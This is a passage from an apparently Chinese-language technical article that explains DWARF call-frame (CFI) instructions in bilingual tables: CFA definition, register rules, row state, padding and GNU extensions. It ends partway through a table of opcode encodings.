&lt;tr&gt;&lt;td&gt;DW_CFA_advance_loc4&lt;&#x2F;td&gt;&lt;td&gt;Location += (delta * code_alignment_factor)DW_CFA_advance_loc4指令采用单个`uword`操作数来表示恒定增量。&lt;br &#x2F;&gt;除了增量操作数的编码和大小外，该指令与DW_CFA_advance_loc相同。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_advance_loc4 instruction takes a single uword operand that represents a constant delta. This instruction is identical to DW_CFA_advance_loc except for the encoding and size of the delta operand.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;2、CFA Definition Instructions&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在Location相关指令创建一个新&lt;code&gt;行(Row)&lt;&#x2F;code&gt;以后，本节相关指令来定义这一行的CFA计算规则。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Instructions&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_def_cfa&lt;&#x2F;td&gt;&lt;td&gt;register = new register num&lt;br &#x2F;&gt;offset = new offset&lt;br &#x2F;&gt;CFA = register + offsetDW_CFA_def_cfa指令采用两个无符号的LEB128操作数，它们代表`寄存器号`和（非因数）`偏移量`。&lt;br &#x2F;&gt;所需的操作是定义当前的CFA规则以使用提供的寄存器和偏移量。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_def_cfa instruction takes two unsigned LEB128 operands representing a register number and a (non-factored) offset. The required action is to define the current CFA rule to use the provided register and offset.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_def_cfa_sf&lt;&#x2F;td&gt;&lt;td&gt;register = new register num&lt;br &#x2F;&gt;offset = (factored_offset * data_alignment_factor)&lt;br &#x2F;&gt;CFA = register + offsetDW_CFA_def_cfa_sf指令采用两个操作数：代表寄存器号的无符号LEB128值和有符号LEB128因数偏移量。&lt;br &#x2F;&gt;该指令与DW_CFA_def_cfa相同，不同之处在于第二个操作数是有符号并且乘以因数。 结果偏移量为factored_offset * data_alignment_factor。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_def_cfa_sf instruction takes two operands: an unsigned LEB128 value representing a register number and a signed LEB128 factored offset. This instruction is identical to DW_CFA_def_cfa except that the second operand is signed and factored. The resulting offset is factored_offset * data_alignment_factor.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_def_cfa_register&lt;&#x2F;td&gt;&lt;td&gt;register = new register number&lt;br &#x2F;&gt;CFA = register + old offsetDW_CFA_def_cfa_register指令采用单个无符号的LEB128操作数表示寄存器号。&lt;br &#x2F;&gt;所需的操作是定义当前的CFA规则以使用提供的寄存器（但保留旧的偏移量）。&lt;br &#x2F;&gt;仅当当前CFA规则定义为使用寄存器和偏移量时，此操作才有效。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_def_cfa_register instruction takes a single unsigned LEB128 operand representing a register number. The required action is to define the current CFA rule to use the provided register (but to keep the old offset). This operation is valid only if the current CFA rule is defined to use a register and offset.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_def_cfa_offset&lt;&#x2F;td&gt;&lt;td&gt;offset = new offset&lt;br &#x2F;&gt;CFA = old register + offsetDW_CFA_def_cfa_offset指令采用单个无符号LEB128操作数表示一个（未分解的）偏移量。&lt;br &#x2F;&gt;所需的操作是定义当前的CFA规则以使用提供的偏移量（但保留旧寄存器）。&lt;br &#x2F;&gt;仅当当前CFA规则定义为使用寄存器和偏移量时，此操作才有效。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_def_cfa_offset instruction takes a single unsigned LEB128 operand representing a (non-factored) offset. The required action is to define the current CFA rule to use the provided offset (but to keep the old register). This operation is valid only if the current CFA rule is defined to use a register and offset.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_def_cfa_offset_sf&lt;&#x2F;td&gt;&lt;td&gt;offset = (factored_offset * data_alignment_factor)&lt;br &#x2F;&gt;CFA = old register + offsetDW_CFA_def_cfa_offset_sf指令采用一个带符号的LEB128操作数，代表一个因数偏移量。&lt;br &#x2F;&gt;该指令与DW_CFA_def_cfa_offset相同，除了操作数是有符号并且乘以因数。 结果偏移量为factored_offset * data_alignment_factor。 仅当当前CFA规则定义为使用寄存器和偏移量时，此操作才有效。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_def_cfa_offset_sf instruction takes a signed LEB128 operand representing a factored offset. This instruction is identical to DW_CFA_def_cfa_offset except that the operand is signed and factored. The resulting offset is factored_offset * data_alignment_factor. This operation is valid only if the current CFA rule is defined to use a register and offset.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_def_cfa_expression&lt;&#x2F;td&gt;&lt;td&gt;CFA = DWARF expressionDW_CFA_def_cfa_expression指令采用单个操作数编码为代表DWARF表达式的DW_FORM_exprloc值。&lt;br &#x2F;&gt;所需的操作是建立该表达式作为计算当前CFA的方式。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_def_cfa_expression instruction takes a single operand encoded as a DW_FORM_exprloc value representing a DWARF expression. The required action is to establish that expression as the means by which the current CFA is computed.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;3、Register Rule Instructions&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;本节指令确定一&lt;code&gt;行(Row)&lt;&#x2F;code&gt;寄存器的恢复规则。&lt;&#x2F;p&gt;
&lt;p&gt;寄存器规则包含以下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Rule&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;undefined&lt;&#x2F;td&gt;&lt;td&gt;具有此规则的寄存器在前一帧中没有可恢复的值。（按照惯例，被调用方不会保留它。）&lt;&#x2F;td&gt;&lt;td&gt;A register that has this rule has no recoverable value in the previous frame. (By convention, it is not preserved by a callee.)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;same value&lt;&#x2F;td&gt;&lt;td&gt;没有从前一帧修改此寄存器。（按照惯例，它是由被调用方保留的，但是被调用方尚未对其进行修改。）&lt;&#x2F;td&gt;&lt;td&gt;This register has not been modified from the previous frame. (By convention, it is preserved by the callee, but the callee has not modified it.)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;offset(N)&lt;&#x2F;td&gt;&lt;td&gt;该寄存器的先前值保存在地址CFA + N中，其中CFA是当前CFA值，N是有符号偏移量。&lt;&#x2F;td&gt;&lt;td&gt;The previous value of this register is saved at the address CFA+N where CFA is the current CFA value and N is a signed offset.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;val_offset(N)&lt;&#x2F;td&gt;&lt;td&gt;该寄存器的前一个值为CFA + N，其中CFA为当前CFA值，N为有符号偏移量。&lt;&#x2F;td&gt;&lt;td&gt;The previous value of this register is the value CFA+N where CFA is the current CFA value and N is a signed offset.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;register(R)&lt;&#x2F;td&gt;&lt;td&gt;该寄存器的先前值存储在另一个编号为R的寄存器中。&lt;&#x2F;td&gt;&lt;td&gt;The previous value of this register is stored in another register numbered R.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;expression(E)&lt;&#x2F;td&gt;&lt;td&gt;该寄存器的先前值位于通过执行DWARF表达式E产生的地址。&lt;&#x2F;td&gt;&lt;td&gt;The previous value of this register is located at the address produced by executing the DWARF expression E.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;val_expression(E)&lt;&#x2F;td&gt;&lt;td&gt;该寄存器的先前值是通过执行DWARF表达式E产生的值。&lt;&#x2F;td&gt;&lt;td&gt;The previous value of this register is the value produced by executing the DWARF expression E.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;architectural&lt;&#x2F;td&gt;&lt;td&gt;该规则由增强器在此规范的外部定义。&lt;&#x2F;td&gt;&lt;td&gt;The rule is defined externally to this specification by the augmenter.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;具体包含以下指令：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Instructions&lt;&#x2F;th&gt;&lt;th&gt;Rule&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_undefined&lt;&#x2F;td&gt;&lt;td&gt;undefined&lt;&#x2F;td&gt;&lt;td&gt;reg num = undefinedDW_CFA_undefined指令采用单个无符号的LEB128操作数来表示寄存器号。&lt;br &#x2F;&gt;所需的操作是将指定寄存器的规则设置为“未定义”。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_undefined instruction takes a single unsigned LEB128 operand that represents a register number. The required action is to set the rule for the specified register to “undefined.”&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_same_value&lt;&#x2F;td&gt;&lt;td&gt;same value&lt;&#x2F;td&gt;&lt;td&gt;reg num = same valueDW_CFA_same_value指令采用单个无符号LEB128操作数来表示寄存器号。&lt;br &#x2F;&gt;所需的操作是将指定寄存器的规则设置为“相同值”。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_same_value instruction takes a single unsigned LEB128 operand that represents a register number. The required action is to set the rule for the specified register to “same value.”&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_offset&lt;&#x2F;td&gt;&lt;td&gt;offset(N)&lt;&#x2F;td&gt;&lt;td&gt;offset = (factored offset * data_alignment_factor)&lt;br &#x2F;&gt;reg num = *(CFA + offset)DW_CFA_offset指令采用两个操作数：一个寄存器号（用操作码编码）和一个无符号的LEB128常量，表示因数偏移量。&lt;br &#x2F;&gt;所需的操作是将由寄存器编号指示的寄存器的规则更改为offset（N）规则，其中N的值是`factored offset* data_alignment_factor`。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_offset instruction takes two operands: a register number (encoded with the opcode) and an unsigned LEB128 constant representing a factored offset. The required action is to change the rule for the register indicated by the register number to be an offset(N) rule where the value of N is factored offset * data_alignment_factor.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_offset_extended&lt;&#x2F;td&gt;&lt;td&gt;offset(N)&lt;&#x2F;td&gt;&lt;td&gt;offset = (factored offset * data_alignment_factor)&lt;br &#x2F;&gt;reg num = *(CFA + offset)DW_CFA_offset_extended指令采用两个无符号的LEB128操作数，它们代表寄存器号和因数偏移量。&lt;br &#x2F;&gt;该指令与DW_CFA_offset相同，不同之处在于寄存器操作数的编码和大小。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_offset_extended instruction takes two unsigned LEB128 operands representing a register number and a factored offset. This instruction is identical to DW_CFA_offset except for the encoding and size of the register operand.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_offset_extended_sf&lt;&#x2F;td&gt;&lt;td&gt;offset(N)&lt;&#x2F;td&gt;&lt;td&gt;offset = (factored offset * data_alignment_factor)&lt;br &#x2F;&gt;reg num = *(CFA + offset)DW_CFA_offset_extended_sf指令采用两个操作数：代表寄存器号的无符号LEB128值和有符号LEB128因数偏移量。&lt;br &#x2F;&gt;该指令与DW_CFA_offset_extended相同，不同之处在于第二个操作数有符号且乘以因数。 结果偏移量为factored_offset * data_alignment_factor。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_offset_extended_sf instruction takes two operands: an unsigned LEB128 value representing a register number and a signed LEB128 factored offset. This instruction is identical to DW_CFA_offset_extended except that the second operand is signed and factored. The resulting offset is factored_offset * data_alignment_factor.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_val_offset&lt;&#x2F;td&gt;&lt;td&gt;val_offset(N)&lt;&#x2F;td&gt;&lt;td&gt;offset = (factored offset * data_alignment_factor)&lt;br &#x2F;&gt;reg num = CFA + offsetDW_CFA_val_offset指令采用两个无符号的LEB128操作数，它们代表寄存器号和因数偏移量。&lt;br &#x2F;&gt;所需的操作是将寄存器编号指示的寄存器规则更改为val_offset（N）规则，其中N的值是factored_offset * data_alignment_factor。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_val_offset instruction takes two unsigned LEB128 operands representing a register number and a factored offset. The required action is to change the rule for the register indicated by the register number to be a val_offset(N) rule where the value of N is factored_offset * data_alignment_factor.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_val_offset_sf&lt;&#x2F;td&gt;&lt;td&gt;val_offset(N)&lt;&#x2F;td&gt;&lt;td&gt;offset = (factored offset * data_alignment_factor)&lt;br &#x2F;&gt;reg num = CFA + offsetDW_CFA_val_offset_sf指令采用两个操作数：代表寄存器号的无符号LEB128值和有符号LEB128因数偏移量。&lt;br &#x2F;&gt;该指令与DW_CFA_val_offset相同，不同之处在于第二个操作数有符号且乘以因数。 结果偏移量为factored_offset * data_alignment_factor。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_val_offset_sf instruction takes two operands: an unsigned LEB128 value representing a register number and a signed LEB128 factored offset. This instruction is identical to DW_CFA_val_offset except that the second operand is signed and factored. The resulting offset is factored_offset * data_alignment_factor.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_register&lt;&#x2F;td&gt;&lt;td&gt;register(R)&lt;&#x2F;td&gt;&lt;td&gt;reg num = R (second operands)DW_CFA_register指令采用两个无符号的LEB128操作数表示寄存器编号。&lt;br &#x2F;&gt;所需的操作是将第一个寄存器的规则设置为register（R），其中R是第二个寄存器。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_register instruction takes two unsigned LEB128 operands representing register numbers. The required action is to set the rule for the first register to be register(R) where R is the second register.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_expression&lt;&#x2F;td&gt;&lt;td&gt;expression(E)&lt;&#x2F;td&gt;&lt;td&gt;reg num = *(DWARF expression)DW_CFA_expression指令采用两个操作数：代表寄存器号的无符号LEB128值和代表DWARF表达式的DW_FORM_block值。&lt;br &#x2F;&gt;所需的操作是将由寄存器编号指示的寄存器的规则更改为expression（E）规则，其中E是DWARF表达式。 即，DWARF表达式计算地址。&lt;br &#x2F;&gt;在执行DWARF表达式之前，将CFA的值压入DWARF评估堆栈。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_expression instruction takes two operands: an unsigned LEB128 value representing a register number, and a DW_FORM_block value representing a DWARF expression. The required action is to change the rule for the register indicated by the register number to be an expression(E) rule where E is the DWARF expression. That is, the DWARF expression computes the address. The value of the CFA is pushed on the DWARF evaluation stack prior to execution of the DWARF expression.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_val_expression&lt;&#x2F;td&gt;&lt;td&gt;val_expression(E)&lt;&#x2F;td&gt;&lt;td&gt;reg num = DWARF expressionDW_CFA_val_expression指令采用两个操作数：代表寄存器号的无符号LEB128值和代表DWARF表达式的DW_FORM_block值。&lt;br &#x2F;&gt;所需的操作是将由寄存器号指示的寄存器的规则更改为val_expression（E）规则，其中E是DWARF表达式。 也就是说，DWARF表达式计算给定寄存器的值。&lt;br &#x2F;&gt;在执行DWARF表达式之前，将CFA的值压入DWARF评估堆栈。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_val_expression instruction takes two operands: an unsigned LEB128 value representing a register number, and a DW_FORM_block value representing a DWARF expression. The required action is to change the rule for the register indicated by the register number to be a val_expression(E) rule where E is the DWARF expression. That is, the DWARF expression computes the value of the given register. The value of the CFA is pushed on the DWARF evaluation stack prior to execution of the DWARF expression.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_restore&lt;&#x2F;td&gt;&lt;td&gt;initial_instructions in the CIE&lt;&#x2F;td&gt;&lt;td&gt;reg num = initial_instructions in the CIEDW_CFA_restore指令采用单个操作数（用操作码编码），该操作数代表寄存器号。&lt;br &#x2F;&gt;所需的操作是将指示寄存器的规则更改为CIE中initial_instructions为其分配的规则。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_restore instruction takes a single operand (encoded with the opcode) that represents a register number. The required action is to change the rule for the indicated register to the rule assigned it by the initial_instructions in the CIE.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_restore_extended&lt;&#x2F;td&gt;&lt;td&gt;initial_instructions in the CIE&lt;&#x2F;td&gt;&lt;td&gt;reg num = initial_instructions in the CIEDW_CFA_restore_extended指令采用单个无符号LEB128操作数来表示寄存器号。&lt;br &#x2F;&gt;该指令与DW_CFA_restore相同，不同之处在于寄存器操作数的编码和大小。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_restore_extended instruction takes a single unsigned LEB128 operand that represents a register number. This instruction is identical to DW_CFA_restore except for the encoding and size of the register operand.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;4、Row State Instructions&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;接下来的两条指令提供了备份(stack)和恢复(retrieve)完整寄存器状态的能力。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Instructions&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_remember_state&lt;&#x2F;td&gt;&lt;td&gt;DW_CFA_remember_state指令不接受任何操作数。&lt;br &#x2F;&gt;所需的操作是将每个寄存器的规则集压入隐式堆栈。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_remember_state instruction takes no operands. The required action is to push the set of rules for every register onto an implicit stack.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_restore_state&lt;&#x2F;td&gt;&lt;td&gt;DW_CFA_restore_state指令不接受任何操作数。&lt;br &#x2F;&gt;所需的操作是将规则集从隐式堆栈中弹出，并将其放置在当前行(row)中。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_restore_state instruction takes no operands. The required action is to pop the set of rules off the implicit stack and place them in the current row.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;5、Padding Instruction&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Instructions&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_nop&lt;&#x2F;td&gt;&lt;td&gt;DW_CFA_nop指令没有操作数，也没有必需的操作。 它用作填充以使CIE或FDE大小合适。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_nop instruction has no operands and no required actions. It is used as padding to make a CIE or FDE an appropriate size.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;6、CFI Extensions&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Instructions&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_GNU_args_size&lt;&#x2F;td&gt;&lt;td&gt;DW_CFA_GNU_args_size指令采用表示参数大小的无符号LEB128操作数。 该指令指定已推入堆栈的参数的总大小。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_GNU_args_size instruction takes an unsigned LEB128 operand representing an argument size. This instruction specifies the total of the size of the arguments which have been pushed onto the stack.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_GNU_negative_offset_extended&lt;&#x2F;td&gt;&lt;td&gt;offset = (factored offset * data_alignment_factor)&lt;br &#x2F;&gt;reg num = *(CFA + offset)DW_CFA_def_cfa_sf指令采用两个操作数：代表寄存器号的无符号LEB128值和代表偏移量的无符号LEB128。&lt;br &#x2F;&gt;该指令与DW_CFA_offset_extended_sf相同，除了减去操作数以产生偏移量。 该指令已被DW_CFA_offset_extended_sf废弃。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_def_cfa_sf instruction takes two operands: an unsigned LEB128 value representing a register number and an unsigned LEB128 which represents the magnitude of the offset. This instruction is identical to DW_CFA_offset_extended_sf except that the operand is subtracted to produce the offset. This instructions is obsoleted by DW_CFA_offset_extended_sf.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;2-3-instructions-opcode&quot;&gt;2.3 Instructions Opcode&lt;&#x2F;h3&gt;
&lt;p&gt;各个指令具体的指令码编码如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Instruction&lt;&#x2F;th&gt;&lt;th&gt;High 2Bits&lt;&#x2F;th&gt;&lt;th&gt;Low 6 Bits&lt;&#x2F;th&gt;&lt;th&gt;Operand 1&lt;&#x2F;th&gt;&lt;th&gt;Operand 2&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_advance_loc&lt;&#x2F;td&gt;&lt;td&gt;0x1&lt;&#x2F;td&gt;&lt;td&gt;delta&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_offset&lt;&#x2F;td&gt;&lt;td&gt;0x2&lt;&#x2F;td&gt;&lt;td&gt;register&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 offset&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_restore&lt;&#x2F;td&gt;&lt;td&gt;0x3&lt;&#x2F;td&gt;&lt;td&gt;register&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_nop&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_set_loc&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x01&lt;&#x2F;td&gt;&lt;td&gt;address&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_advance_loc1&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x02&lt;&#x2F;td&gt;&lt;td&gt;1-byte delta&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_advance_loc2&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x03&lt;&#x2F;td&gt;&lt;td&gt;2-byte delta&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_advance_loc4&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x04&lt;&#x2F;td&gt;&lt;td&gt;4-byte delta&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_offset_extended&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x05&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 register&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 offset&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_restore_extended&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x06&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 register&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_undefined&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x07&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 register&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_same_value&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x08&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 register&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_register&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x09&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 register&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 register&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_remember_state&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x0a&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_restore_state&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x0b&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_def_cfa&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x0c&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 register&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 offset&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_def_cfa_register&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x0d&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 register&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_def_cfa_offset&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x0e&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 offset&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
